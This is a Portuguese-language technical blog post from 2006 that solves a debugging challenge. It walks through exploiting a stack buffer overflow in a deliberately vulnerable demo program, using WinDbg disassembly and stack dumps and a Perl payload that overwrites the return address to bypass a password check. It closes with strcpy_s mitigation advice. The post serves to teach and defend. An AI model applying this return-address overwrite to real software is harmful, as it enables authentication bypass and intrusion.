• Sign in
 

LATAM Team blog

Search Blogs
Tags
  • Cloud
  • Cluster
  • Crash
  • Desarrollo
  • Desenvolvimento
  • Directory Services
  • DST
  • Español
  • Exchange/Outlook
  • Hang
  • High Availability
  • IIS
  • Networking
  • Office
  • People
  • Performance
  • Português
  • PowerShell Scripts
  • Security
  • Setup
  • Sharepoint
  • SQL
  • Virtualization
  • Windbg Scripts
  • Windows
Blog - News

Where Are You Coming From Today?

Where are you now?

Follow us on:

Options
  • Blog Home
  • About
  • Share this
  • RSS for posts
  • Atom
  • RSS for comments
Archive
Archives
  • May 2013 (4)
  • April 2013 (5)
  • March 2013 (6)
  • February 2013 (3)
  • January 2013 (3)
  • December 2012 (2)
  • November 2012 (1)
  • October 2012 (4)
  • September 2012 (5)
  • August 2012 (2)
  • July 2012 (2)
  • June 2012 (3)
  • May 2012 (13)
  • April 2012 (6)
  • March 2012 (6)
  • February 2012 (4)
  • January 2012 (7)
  • December 2011 (11)
  • October 2011 (6)
  • September 2011 (1)
  • August 2011 (3)
  • July 2011 (7)
  • June 2011 (6)
  • May 2011 (5)
  • April 2011 (2)
  • March 2011 (13)
  • February 2011 (1)
  • January 2011 (5)
  • December 2010 (6)
  • November 2010 (1)
  • October 2010 (6)
  • September 2010 (2)
  • August 2010 (3)
  • July 2010 (3)
  • June 2010 (5)
  • May 2010 (1)
  • April 2010 (10)
  • March 2010 (21)
  • February 2010 (8)
  • January 2010 (3)
  • December 2009 (5)
  • November 2009 (5)
  • October 2009 (6)
  • September 2009 (8)
  • August 2009 (9)
  • July 2009 (1)
  • June 2009 (3)
  • May 2009 (2)
  • April 2009 (7)
  • March 2009 (4)
  • February 2009 (7)
  • January 2009 (7)
  • December 2008 (8)
  • November 2008 (7)
  • October 2008 (22)
  • September 2008 (17)
  • August 2008 (13)
  • July 2008 (11)
  • June 2008 (7)
  • May 2008 (3)
  • April 2008 (2)
  • March 2008 (6)
  • January 2008 (4)
  • December 2007 (9)
  • November 2007 (4)
  • October 2007 (3)
  • September 2007 (8)
  • August 2007 (4)
  • July 2007 (2)
  • June 2007 (5)
  • May 2007 (7)
  • April 2007 (9)
  • March 2007 (7)
  • February 2007 (6)
  • January 2007 (4)
  • December 2006 (14)
  • November 2006 (10)
  • October 2006 (10)
  • September 2006 (11)
  • August 2006 (15)
  • July 2006 (7)
  • June 2006 (14)
  • May 2006 (22)
  • April 2006 (16)
  • March 2006 (20)
  • January 2006 (1)

Resposta ao Desafio da Semana #9 [Crash - Como Explorar um Buffer Overflow]

TechNet Blogs > LATAM Team blog > Resposta ao Desafio da Semana #9 [Crash - Como Explorar um Buffer Overflow]

Resposta ao Desafio da Semana #9 [Crash - Como Explorar um Buffer Overflow]

LatamBlog
11 Aug 2006 8:20 PM
  • Comments 2

Por: Roberto Alexis Farah

 

http://blogs.technet.com/latam/archive/2006/08/04/445005.aspx

 

Agora eis a resposta…

 

 

PROBLEMA

 

O problema é bastante claro, um buffer overflow pode ocorrer no código. Agora, como explorá-lo para chamar a rotina RightPassword() mesmo sem saber a senha correta?

 

Vamos lá... no caso, usei apenas WinDbg (minha ferramenta favorita! J), mesmo para disassemblar o código.

Não entrarei no mérito de comandos Windbg, explicação detalhada de código disassemblado, etc... irei direto ao ponto, até porque não quero estimular os hackers de plantão. J

 

Utilizando Visual C++ 6.0 com aplicação compilada como DEBUG temos...

 

Código disassemblado de main(), como estou usando símbolos (PDB) temos a relação da linha de código fonte mas isso não é absolutamente nada necessário numa situação real. De fato, poderia ter usado a versão RELEASE sem símbolos, entretanto, seria menos didático para a demonstração:

 

BufferOverflow!main [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 16]:

   16 00401030 55              push    ebp

   16 00401031 8bec            mov     ebp,esp

   16 00401033 83ec4c          sub     esp,4Ch                    ß Espaço para variáveis locais.

   16 00401036 53              push    ebx

   16 00401037 56              push    esi

   16 00401038 57              push    edi

   16 00401039 8d7db4          lea     edi,[ebp-4Ch]

   16 0040103c b913000000      mov     ecx,13h

   16 00401041 b8cccccccc      mov     eax,0CCCCCCCCh

   16 00401046 f3ab            rep stos dword ptr es:[edi]

   17 00401048 837d0802        cmp     dword ptr [ebp+8],2

   17 0040104c 740d            je      BufferOverflow!main+0x2b (0040105b)

 

BufferOverflow!main+0x1e [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 19]:

   19 0040104e 6828204200      push    offset BufferOverflow!`string' (00422028)

   19 00401053 e888020000      call    BufferOverflow!printf (004012e0)

   19 00401058 83c404          add     esp,4

 

BufferOverflow!main+0x2b [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 26]:

   26 0040105b 8b450c          mov     eax,dword ptr [ebp+0Ch]

   26 0040105e 8b4804          mov     ecx,dword ptr [eax+4]

   26 00401061 51              push    ecx

   26 00401062 8d55f4          lea     edx,[ebp-0Ch]

   26 00401065 52              push    edx

   26 00401066 e885010000      call    BufferOverflow!strcpy (004011f0)

   26 0040106b 83c408          add     esp,8

   28 0040106e 681c204200      push    offset BufferOverflow!`string' (0042201c)

   28 00401073 8d45f4          lea     eax,[ebp-0Ch]

   28 00401076 50              push    eax

   28 00401077 e8e4000000      call    BufferOverflow!strcmp (00401160)

   28 0040107c 83c408          add     esp,8

   28 0040107f 85c0            test    eax,eax

   28 00401081 7507            jne     BufferOverflow!main+0x5a (0040108a)

 

BufferOverflow!main+0x53 [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 30]:

   30 00401083 e87dffffff      call    BufferOverflow!ILT+0(?RightPasswordYAXXZ) (00401005)

   32 00401088 eb05            jmp     BufferOverflow!main+0x5f (0040108f)

 

BufferOverflow!main+0x5a [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 34]:

   34 0040108a e880ffffff      call    BufferOverflow!ILT+10(?WrongPasswordYAXXZ) (0040100f)

 

BufferOverflow!main+0x5f [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 37]:

   37 0040108f 33c0            xor     eax,eax

   38 00401091 5f              pop     edi

   38 00401092 5e              pop     esi

   38 00401093 5b              pop     ebx

   38 00401094 83c44c          add     esp,4Ch

   38 00401097 3bec            cmp     ebp,esp

   38 00401099 e8c2020000      call    BufferOverflow!_chkesp (00401360)

   38 0040109e 8be5            mov     esp,ebp

   38 004010a0 5d              pop     ebp

   38 004010a1 c3              ret

 

 

Note que do espaço para variáveis locais, que inclui o buffer para receber a senha:

0x4c = 76 em decimal

 

Entretanto, as variáveis locais comecam em ebp-0x4 quando não há Frame Pointer Optimization (FPO) logo, devemos

subtrair 0x4c de 0x4 = 0x48 = 0n72 em decimal. Isso é a área bruta para variáveis locais.

Durante a resolução vamos considerar que nunca vimos o código fonte.

 

Continuando, na pilha temos, sempre que não usando FPO (do contrário ESP é usado, mas não é constante):

 

ebp

ebp+0x4  ß Endereço de retorno

ebp+0x8  ß Primeiro parâmetro em diante...

ebp-0x4   ß Primeira variável local se tamanho não for maior que um DWORD.

              Em caso de uma string o parâmetro pode ser maior... no nosso caso e'

              ebp-0xc.

 

 

Logo, se há um estouro de buffer (buffer overflow) o primeiro endereço a ser sobreescrito é justamente o endereço

EBP (stack frame) seguido pelo endereço de retorno EBP+4.

 

 

Durante a depuração temos (mapeie com o código disassemblado mais acima):

 

00401058 83c404          add     esp,4

0040105b 8b450c          mov     eax,dword ptr [ebp+0Ch]

0040105e 8b4804          mov     ecx,dword ptr [eax+4]

00401061 51              push    ecx

00401062 8d55f4          lea     edx,[ebp-0Ch]            ß Localização do buffer onde a string será copiada.

00401065 52              push    edx                           ßParei aqui! Os parâmetros para strcpy()

00401066 e885010000      call    BufferOverflow!strcpy (004011f0)

0040106b 83c408          add     esp,8

 

 

eax=00321190 ebx=7ffd9000 ecx=00000000 edx=0012ff74 esi=7c9118f1 edi=0012ff80

eip=00401065 esp=0012ff24 ebp=0012ff80 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

BufferOverflow!main+0x35:

00401065 52              push    edx

 

 

Eis a pilha:

 

ChildEBP RetAddr 

0012ff80 00401489 BufferOverflow!main+0x35

0012ffc0 7c816d4f BufferOverflow!mainCRTStartup+0xe9

0012fff0 00000000 kernel32!BaseProcessStart+0x23

 

 

Eis a pilha sob outro ângulo:

 

0012ff80  0012ffc0                                                          ß ebp

0012ff84  00401489 BufferOverflow!mainCRTStartup+0xe9   ß ebp+0x4

0012ff88  00000002                                                         ß ecx

0012ff8c  00321190                                                         ß eax

0012ff90  00321288                                                         ß edx

0012ff94  00eef558                                                          ß edi

0012ff98  00000182                                                         ß esi

0012ff9c  7ffdd000

0012ffa0  00000001

0012ffa4  00000001

0012ffa8  0012ff94

0012ffac  ad38fd08

0012ffb0  0012ffe0

0012ffb4  00404450 BufferOverflow!_except_handler3

 

 

Ainda outra visão da pilha (stack):

 

0012ff84  00401489 00000002 00321190 00321288

0012ff94  00eef558 00000182 7ffdf000 00000001

0012ffa4  00000001 0012ff94 af104d08 0012ffe0

0012ffb4  00404450 004221c0 00000000 0012fff0

 

 

Nesse ponto tempos:

 

ecx = "1234567899999"           ß Parâmetro via linha de comando.  

ebp-0xc = buffer, primeiro parâmetro de _tcscpy()

 

 

Com os valores acima nosso overflow vai apenas sobreescrever variáveis locais se houverem mas talvez não seja suficiente para atingirmos nosso objetivo ebp+4 o endereço de retorno.

 

 

Agora vamos reexecutar a aplicação usando suficiente número de bytes para invadir o buffer com margem de sobra. Obviamente como não sabemos se a aplicação preve isso nem o tamanho que aceita, tentamos com uma entrada grande o suficiente mas isso poderia ser automatizado via um script...

 

Eis a linha de comando:

 

1111111111111111111111111111111111111111111111111111111111111111111111111111

 

 

O que esperamos com isso? Checar se a aplicação falha (crash) por causa de um buffer overflow e, após comprovado, sobreescrever ebp+4... vamos ver...

 

 

Reexecutando temos:

 

ebp+0x4:

 

0012ff84 00401489

 

 

ebp:

 

0012ff80  0012ffc0

 

Notem a diferença de 4 bytes de ebp e ebp+0x4.

 

Agora vou parar a execução logo depois da cópia da string de parâmetro (linha de comando) para o buffer interno, onde justamente esse buffer será sobreescrito.

 

 

00401062 8d55f4          lea     edx,[ebp-0Ch]

00401065 52              push    edx

00401066 e885010000      call    BufferOverflow!strcpy (004011f0)

0040106b 83c408          add     esp,8                                         ß Parei a execução aqui.

0040106e 681c204200      push    offset BufferOverflow!`string' (0042201c)

00401073 8d45f4          lea     eax,[ebp-0Ch]

00401076 50              push    eax

00401077 e8e4000000      call    BufferOverflow!strcmp (00401160)

0040107c 83c408          add     esp,8

 

 

 

Eis os registradores:

 

eax=0012ff74 ebx=7ffdf000 ecx=00321244 edx=fd003131 esi=00000182 edi=0012ff80

eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

BufferOverflow!main+0x3b:

0040106b 83c408          add     esp,8

 

 

ebp esta correto...mas e ebp+0x4?

 

ebp+0x4:

 

0012ff84  31313131             ß Corrompido!!! Representam o código hexadecimal para a linha fornecida como parâmetro.

 

 

Eis a pilha a partir de ebp+0x4:

 

0012ff84  31313131 31313131 31313131 31313131

0012ff94  31313131 31313131 31313131 31313131

0012ffa4  31313131 31313131 31313131 31313131

0012ffb4  31313131 31313131 31313131 0012ff00

0012ffc4  7c816d4f 00eef558 00000182 7ffdf000

0012ffd4  8054a6ed 0012ffc8 88efb020 ffffffff

0012ffe4  7c8399f3 7c816d58 00000000 00000000

0012fff4  00000000 004013a0 00000000 78746341

 

 

E o valor dos novos registradores:

 

eax=0012ff74 ebx=7ffdf000 ecx=00321244 edx=fd003131 esi=00000182 edi=0012ff80

eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

BufferOverflow!main+0x3b:

0040106b 83c408          add     esp,8

 

 

Notem que a string de caracteres passou demasiadamente o ponto que queríamos... Como sabemos disso?

O conteúdo dos registradores esi, edi, ecx foram corrompidos, ou seja, passamos ebp, passamos ebp+4 e fomos invadindo a memória.

Portanto, vamos reduzir em, digamos 3 DWORDs  (4 bytes).

Agora temos:

 

1111111111111111111111111111111111111111111111111111111111111111

 

Reexecutando a aplicação com a nova string de entrada temos...

 

Primeiro vamos ver o buffer ebp-0xc:

 

 

0012ff74  0012ff7c          ß ebp-0xc

0012ff78  00403138 BufferOverflow!_initterm+0x18

0012ff7c  0012ff8c

0012ff80  0012ffc0          ß ebp

0012ff88  00000002        

 

 

Importante!!! Há três coisas que confundem muito aqueles aprendendo a fazer depuração radical, portanto vou esclarecer (ou tentar pelo menos J) :

 

1-    A pilha cresce de cima para baixo, ou seja, do maior endereço para o menor endereço. Notem que o endereço de ebp+4 é, por exemplo, maior que ebp.

2-    O buffer ao receber dados cresce de baixo para cima, ou seja, na direção oposta a da pilha. Portanto, se 0012ff74  no exemplo acima recebe um valor muito grande vai expandir em direção a 0012ff88.

3-    O código disassemblado não tem relação com a pilha. A pilha é como se fosse uma lista ligada que aponta para partes das rotinas mas quando a pilha é afetada o código disassemblado não muda.

 

 

Continuando...

 

 

0012ff74  0012ff7c                                                          ß ebp-0xc buffer que receberá a string.

0012ff78  00403138 BufferOverflow!_initterm+0x18

0012ff7c  0012ff8c

0012ff80  0012ffc0                                                          ß ebp

0012ff84  00401489 BufferOverflow!mainCRTStartup+0xe9   ß endereço de retorno, ebp+0x4

0012ff88  00000002

0012ff8c  00321190

0012ff90  00321278

0012ff94  00eef558

0012ff98  0000016a

0012ff9c  7ffd6000

0012ffa0  00000001

0012ffa4  00000001

0012ffa8  0012ff94

0012ffac  b1755d08

0012ffb0  0012ffe0

0012ffb4  00404450 BufferOverflow!_except_handler3

0012ffb8  004221c0 BufferOverflow!`string'+0xe0

 

 

 

 

Vamos parar a execução no ponto abaixo:

 

 

00401065 52              push    edx

00401066 e885010000      call    BufferOverflow!strcpy (004011f0)

0040106b 83c408          add     esp,8                    ß Parei aqui.

 

 

Eis a mesma pilha agora com o buffer preenchido pela string recebida como parâmetro:

 

0012ff80  31313131        ß ebp

0012ff84  31313131        ß ebp+0x4

0012ff88  31313131        ß A partir daqui passamos!

0012ff8c  31313131

0012ff90  31313131

0012ff94  31313131

0012ff98  31313131

0012ff9c  31313131

0012ffa0  31313131

0012ffa4  31313131

0012ffa8  31313131

0012ffac  31313131

0012ffb0  31313131

0012ffb4  00404400 BufferOverflow!_NLG_Return2+0xe

0012ffb8  004221c0 BufferOverflow!`string'+0xe0

 

 

 

Note que depurando podemos medir o quanto invadimos a pilha. Isso é fundamental para explorarmos a falha de segurança!

 

Registradores nesse momento:

 

eax=0012ff74 ebx=7ffd7000 ecx=00321238 edx=fd003131 esi=0000016a edi=0012ff80

eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

BufferOverflow!main+0x3b:

0040106b 83c408          add     esp,8

 

 

0012ff80  31313131 31313131 31313131 31313131

0012ff90  31313131 31313131 31313131 31313131

0012ffa0  31313131 31313131 31313131 31313131

0012ffb0  31313131 00404400 004221c0 00000000

0012ffc0  0012fff0 7c816d4f 00eef558 0000016a

0012ffd0  7ffd7000 8054a6ed 0012ffc8 88dfc2a0

0012ffe0  ffffffff 7c8399f3 7c816d58 00000000

0012fff0  00000000 00000000 004013a0 00000000

 

 

 

Agora estamos quase lá!! Sabemos, usando força-bruta que:

 

1-    A aplicação aceita valores acima do que deveria, prova disso é que invadimos a pilha e causamos um crash.

2-    Sabemos o quanto estamos invadindo da pilha e que queremos sobreescrever até 0012ff84 apenas.

 

 

Portanto, cada linha tem 4 bytes, logo, quatro caracters já que a aplicação foi compilada como ASCII, com isso

devemos reduzir a entrada em 44 caracteres, logo, devemos usar:

 

11111111111111111111           ß 20 caracteres.

 

 

Reexecutando temos:

 

0012ff80  31313131

0012ff84  31313131            ß YYYYEEESSSSSSSS! J

0012ff88  00000000

0012ff8c  00321190

0012ff90  00321248

0012ff94  00eef558

0012ff98  00000112

0012ff9c  7ffd6000

0012ffa0  00000001

0012ffa4  00000001

0012ffa8  0012ff94

0012ffac  adf9bd08

0012ffb0  0012ffe0

0012ffb4  00404450 BufferOverflow!_except_handler3

0012ffb8  004221c0 BufferOverflow!`string'+0xe0

 

 

Lindo, né gente? Alcançamos o exato ponto para sobreescrever ebp+0x4.

 

<AVISO>

 

O propósito desse desafio é só ilustrar o perigo de uma falha de segurança muito comum em aplicações escritas em C ou C++ e dar uma idéia mais detalhada de como um buffer overflow é explorado.

Após publicar o desafio, na semana passada, me perguntaram porque não escrevo um artigo sobre como fazer um crack de software.

Isso não seria nada construtivo por diversas razões, portanto, não escreverei sobre isso.

 

</AVISO>

 

Agora... porque esse foco em ebp+0x4? Porque, como mencionei, é o endereço de retorno, ou seja, quando uma rotina é chamada o endereço da próxima instrução logo após a chamada da rotina é salvo, assim, ao final da execução da rotina, o fluxo de execução caminha para a próxima instrução.

Logo, imagine se esse endereço de retorno tivesse o endereço da função que habilita a senha... observem que o endereço é facilmente extraido do código disassemblado!

Se isso fosse conseguido a rotina de senha correta seria chamada automaticamente ao final da execução!

Mas como isso pode ser feito? Enviando-se o código de máquina junto da string que ocasiona o buffer overflow!

 

 

Primeiro vamos pegar o endereço da rotina de senha correta:

 

00401083 e87dffffff      call    BufferOverflow!ILT+0(?RightPasswordYAXXZ) (00401005)   ß Eis!

00401088 eb05            jmp     BufferOverflow!main+0x5f (0040108f)

0040108a e880ffffff      call    BufferOverflow!ILT+10(?WrongPasswordYAXXZ) (0040100f)

0040108f 33c0            xor     eax,eax

 

 

Rotina:

 

BufferOverflow!RightPassword [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 44]:

   44 004010c0 55              push    ebp

   44 004010c1 8bec            mov     ebp,esp

   44 004010c3 83ec40          sub     esp,40h

   44 004010c6 53              push    ebx

   44 004010c7 56              push    esi

   44 004010c8 57              push    edi

   44 004010c9 8d7dc0          lea     edi,[ebp-40h]

   44 004010cc b910000000      mov     ecx,10h

   44 004010d1 b8cccccccc      mov     eax,0CCCCCCCCh

   44 004010d6 f3ab            rep stos dword ptr es:[edi]

   45 004010d8 6850204200      push    offset BufferOverflow!`string' (00422050)

   45 004010dd e8fe010000      call    BufferOverflow!printf (004012e0)

   45 004010e2 83c404          add     esp,4

   46 004010e5 5f              pop     edi

   46 004010e6 5e              pop     esi

   46 004010e7 5b              pop     ebx

   46 004010e8 83c440          add     esp,40h

   46 004010eb 3bec            cmp     ebp,esp

   46 004010ed e86e020000      call    BufferOverflow!_chkesp (00401360)

   46 004010f2 8be5            mov     esp,ebp

   46 004010f4 5d              pop     ebp

   46 004010f5 c3              ret

 

 

 

Ok... alguém poderia perguntar como saber se essa é a rotina sem ter indicação do nome... resposta: depurando ou simplesmente analisando a listagem do código disassemblado.

 

Portanto, para finalizar, temos que passar um buffer de 20 caracteres onde os últimos 8 bytes são:

90 90 90 90 00 40 10 05

 

Que se traduz em instruções NOP para sobreescrever EBP (isso não é necessário, é apenas para ficar fácil visualizar) e, em seguida, o endereço da instrução.

Como fazer isso?

 

Para isso devemos usar Perl e criar um script como:

 

$arg = "111111111111"."\x90\x90\x90\x90\x00\x40\x10\x05";

$cmd = "bufferoverflow.exe ".$arg;        

 

system($cmd);

 

 

Note que o endereço é invertido porque com x86 os valores são colocados na memória (little-endian) do byte menos significativo para o mais significativo.

 

Ok, usando essa abordagem nós fazemos com que o endereço de retorno chame a rotina de senha correta. Após a chamada haverá um crash de aplicação porque o valor de ebp é inválido, mas isso não importa mais porque a invasão foi feita!

Esse exemplo é bem simples mas ilustra o conceito.

 

Eis a depuração usando a exploração via Perl:

 

 

00401062 8d55f4          lea     edx,[ebp-0Ch]

00401065 52              push    edx                               ß Primeira parada. (breakpoint)

00401066 e885010000      call    BufferOverflow!strcpy (004011f0)

0040106b 83c408          add     esp,8                           ß Segunda parada. (breakpoint)

0040106e 681c204200      push    offset B

 

 

Para a primeira parada acima temos:

 

eax=00321190 ebx=7ffd7000 ecx=003211f6 edx=0012ff74 esi=00000112 edi=0012ff80

eip=00401065 esp=0012ff24 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

BufferOverflow!main+0x35:

00401065 52              push    edx

 

 

0012ff74  cccccccc                   ß Buffer onde a string será colocada.

0012ff78  cccccccc

0012ff7c  cccccccc

0012ff80  0012ffc0                   ß ebp

0012ff84  00401489 BufferOverflow!mainCRTStartup+0xe9  ß ebp+0x4

 

 

 

Na segunda parada temos:

 

eax=0012ff74 ebx=7ffd7000 ecx=0032120c edx=fd003535 esi=00000112 edi=0012ff80

eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

BufferOverflow!main+0x3b:

0040106b 83c408          add     esp,8

 

 

0012ff74  31313131               ß Buffer... conteúdo e' "111111...."

0012ff78  31313131

0012ff7c  31313131

0012ff80  90909090               ß ebp

0012ff84  00401005 BufferOverflow!ILT+0(?RightPasswordYAXXZ)  ß ebp+0x4  Lindo né, gente?

 

 

Continuando a depuração temos...

 

00401092 5e              pop     esi               ß Breakpoint aqui.

00401093 5b              pop     ebx

00401094 83c44c          add     esp,4Ch

00401097 3bec            cmp     ebp,esp

00401099 e8c2020000      call    BufferOverflow!_chkesp (00401360)      

0040109e 8be5            mov     esp,ebp          

004010a0 5d              pop     ebp

 

 

 

esp = 12ff34

 

Mas após "add esp, 4Ch" temos:

 

esp = 12ff80

 

que contém:

 

0012ff80  90909090         ß antigo ebp resgatado. Lembram-se dos 0x90 que colocamos?

 

 

Agora vamos executar:

 

00401099 e8c2020000      call    BufferOverflow!_chkesp (00401360)

0040109e 8be5            mov     esp,ebp

004010a0 5d              pop     ebp

004010a1 c3              ret                      ß Estamos nesse ponto.

 

 

Nos registradores ebp e ebp+0x4 temos:

 

0012ff80  90909090 00401005

 

 

Após o "ret" acima vamos para:

 

BufferOverflow!ILT+0(?RightPasswordYAXXZ):

00401005 e9b6000000      jmp     BufferOverflow!RightPassword (004010c0)

 

BufferOverflow!RightPassword:

004010c0 55              push    ebp

004010c1 8bec            mov     ebp,esp

004010c3 83ec40          sub     esp,40h

004010c6 53              push    ebx

004010c7 56              push    esi

004010c8 57              push    edi

004010c9 8d7dc0          lea     edi,[ebp-40h]

004010cc b910000000      mov     ecx,10h

004010d1 b8cccccccc      mov     eax,0CCCCCCCCh

004010d6 f3ab            rep stos dword ptr es:[edi]

004010d8 6850204200      push    offset BufferOverflow!`string' (00422050)

004010dd e8fe010000      call    BufferOverflow!printf (004012e0)

004010e2 83c404          add     esp,4

004010e5 5f              pop     edi

004010e6 5e              pop     esi

004010e7 5b              pop     ebx

004010e8 83c440          add     esp,40h

004010eb 3bec            cmp     ebp,esp

004010ed e86e020000      call    BufferOverflow!_chkesp (00401360)

004010f2 8be5            mov     esp,ebp

004010f4 5d              pop     ebp

004010f5 c3              ret

 

RightPassword() está sendo chamada!!! Exploração bem sucedida!!!

 

No final da execução temos ebp com o valor inválido sendo usado, haverá o crash:

 

004010f2 8be5            mov     esp,ebp        ß ebp = 90909090

004010f4 5d              pop     ebp

004010f5 c3              ret

 

ebp+0x4 que e' o valor de retorno = 90909094  ????????

 

Valores ilegais porque a pilha foi corrompida, embora milimetricamente corrompida! J

 

eax=00000022 ebx=7ffd7000 ecx=00424a60 edx=00424a60 esi=00000112 edi=00c6f558

eip=00000090 esp=0012ff8c ebp=90909090 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

00000090 ??              ???

 

Eis a pilha corrompida...

 

ChildEBP RetAddr 

WARNING: Frame IP not in any known module. Following frames may be wrong.

0012ff88 00000000 0x90

 

 

Isso gera uma exceção que quebra a aplicação quando não estamos com o depurador conectado como agora:

 

(78c.17a4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000022 ebx=7ffd7000 ecx=00424a60 edx=00424a60 esi=00000112 edi=00c6f558

eip=00000090 esp=0012ff8c ebp=90909090 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246

00000090 ??              ???

 

 

Portanto, após a chamada da rotina a aplição sofre um crash. Mas a chamada crítica já foi efetuada, ou seja, sem ter a senha correta, apenas explorando uma falha de segurança fizemos com que a rotina que deveria supostamente ser chamada somente com senha certa tenha sido chamada sem conhecimento da senha real!

 

Como evitar essa falha no código? Utilizando rotinas protegidas. O que? Você pensou em strncpy()? Atente para isso:

 

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_strncpy.2c_.wcsncpy.2c_._mbsncpy.asp

 

“The strncpy function copies the initial count characters of strSource to strDest and returns strDest. If count is less than or equal to the length of strSource, a null character is not appended automatically to the copied string. If count is greater than the length of strSource, the destination string is padded with null characters up to length count. The behavior of strncpy is undefined if the source and destination strings overlap.

Security Note   strncpy does not check for sufficient space in strDest; it is therefore a potential cause of buffer overruns. Keep in mind that count limits the number of characters copied; it is not a limit on the size of strDest. See the example below. For more information, see Avoiding Buffer Overruns.”

 

Em outras palavras, você pode resolver o problema mas ainda está sujeito a falhas como o terminador NULL que nem sempre é colocado. O melhor é usar a variação segura dessa rotina:

 

http://msdn2.microsoft.com/en-us/library/5dae5d43.aspx

 

Exemplo:

 

#include <stdio.h>

#include <stdlib.h>

 

int main( void )

{

char a[20] = "test";

char s[20];

 

// simple strncpy usage:

strcpy_s( s, 20, "dogs like cats" );

 

printf( "Original string:\n '%s'\n", s );

 

// Here we can't use strncpy_s since we don't

// want null termination strncpy( s, "mice", 4 );

printf( "After strncpy (no null-termination):\n '%s'\n", s );

 

strncpy( s+5, "love", 4 );

 

printf( "After strncpy into middle of string:\n '%s'\n", s );

 

// If we use strncpy_s, the string is terminated.

strncpy_s( s, _countof(s), "mice", 4 );

printf( "After strncpy_s (with null-termination):\n '%s'\n", s );

 

}

 

 

Até o próximo desafio, pessoal!

 

 

  • 2 Comments
Desenvolvimento , Crash
Comments
Comments
  • Rodney Viana
    8 Sep 2006 11:58 AM
    Farah,

    Muito legal este desafio. Pelo menos passei perto. Eu iria usar um outro programa em C para chamar o programa programaticamente e inserir o opcode de uma int 3 (0xcc) via linha de comando para chamar o debugger quando o problema ocorresse (de dentro do Visual Studio). Eu até tentei mas tive alguns problemas e acabei não testando esta teoria completamente. Sua solução foi mais light. O que você acha desta abordagem?

    Este problema foi muito legal e eu fiquei quebrando a cabeça por alguns dias. E você ainda queria uma resposta em meio a uma entrevista. Você é mal! :)

    Mas é assim que se aprende. Gostei muito deste desafio. E aproveito para perguntar como é que a gente aprende mais sobre o WindDbg. O que eu sei não dá nem para começo pelo que vejo.

    E aqui vai uma sugestão: que tal fazer algum desafio que inclua o debug de managed code (sem o fonte)? A falta de material nesta área é ainda um problema sério. E acredito que como eu, outros leitores iriam aproveitar bastante estas dicas.

    Aproveita e visita meu blog (ele não é técnico).
  • Roberto Farah
    8 Sep 2006 8:50 PM
    Oi Rodney,

    Você fez um ótimo comentário sobre usar int 3!
    Na abordagem que usei tentei mostrar como identificar o quanto de pilha está sendo invadida e como identificar isso, entretanto, usando 0xCC ao invés de "1111" o depurador ía parar no breakpoint logo que o endereço de retorno fosse executado (alguns livros usam essa abordagem), indicando de modo direto a quantidade de bytes que eu precisaria colocar logo antes do endereço da rotina a ser colocada em ebp+0x4, portanto, minimizando a quantidade de depuração (mas achei que seria menos didático para explicar o processo de invasão da pilha), logo, creio que sua solução também funcionaria sim!

    Em relação a depuração de Managed Code e Windbg, coloco aqui uma lista de material, bem completa. De qualquer modo, meu objetivo nos artigos é usar o Windbg apenas para demonstrar melhor a relação de causa e efeito entre problema e sintoma, mas como você pode ver há blogs de outros escalation engineers dedicados a isso, conforme coloco abaixo:

    Eis a lista de links sobre Windbg e depuração via SOS.dll:
    msdn.microsoft.com/msdnmag/issues/05/07/Debugging/

    msdn.microsoft.com/practices/compcat/default.aspx?pull=/library/en-us/dnbda/html/dbgrm.asp

    msdn.microsoft.com/msdnmag/issues/05/05/JITCompiler/

    Windows Debuggers: Part 1: A WinDbg Tutorial
    www.codeproject.com/debug/windbg_part1.asp

    Debug Tutorial Part 1: Beginning Debugging Using CDB and NTSD
    www.codeproject.com/debug/cdbntsd.asp

    Debug Tutorial Part 2: The Stack
    www.codeproject.com/debug/cdbntsd2.asp

    Debug Tutorial Part 3: The Heap
    www.codeproject.com/debug/cdbntsd3.asp

    Debug Tutorial Part 4: Writing WINDBG Extensions
    www.codeproject.com/debug/cdbntsd4.asp

    Debug Tutorial Part 5: Handle Leaks
    www.codeproject.com/debug/cdbntsd5.asp

    Debug Tutorial Part 6: Navigating The Kernel Debugger
    www.codeproject.com/debug/cdbntsd6.asp

    Debug Tutorial Part 7: Locks and Synchronization Objects
    www.codeproject.com/debug/cdbntsd7.asp

    A word for WinDbg
    mtaulty.com/communityserver/blogs/mike_taultys_blog/archive/2004/08/03/4656.aspx

    Blogs:

    blogs.msdn.com/yunjin/
    blogs.msdn.com/tess/
    blogs.msdn.com/jmstall/
    blogs.msdn.com/mvstanton/
    blogs.msdn.com/cbrumme/
    blogs.msdn.com/maoni/
    blogs.msdn.com/toddca/
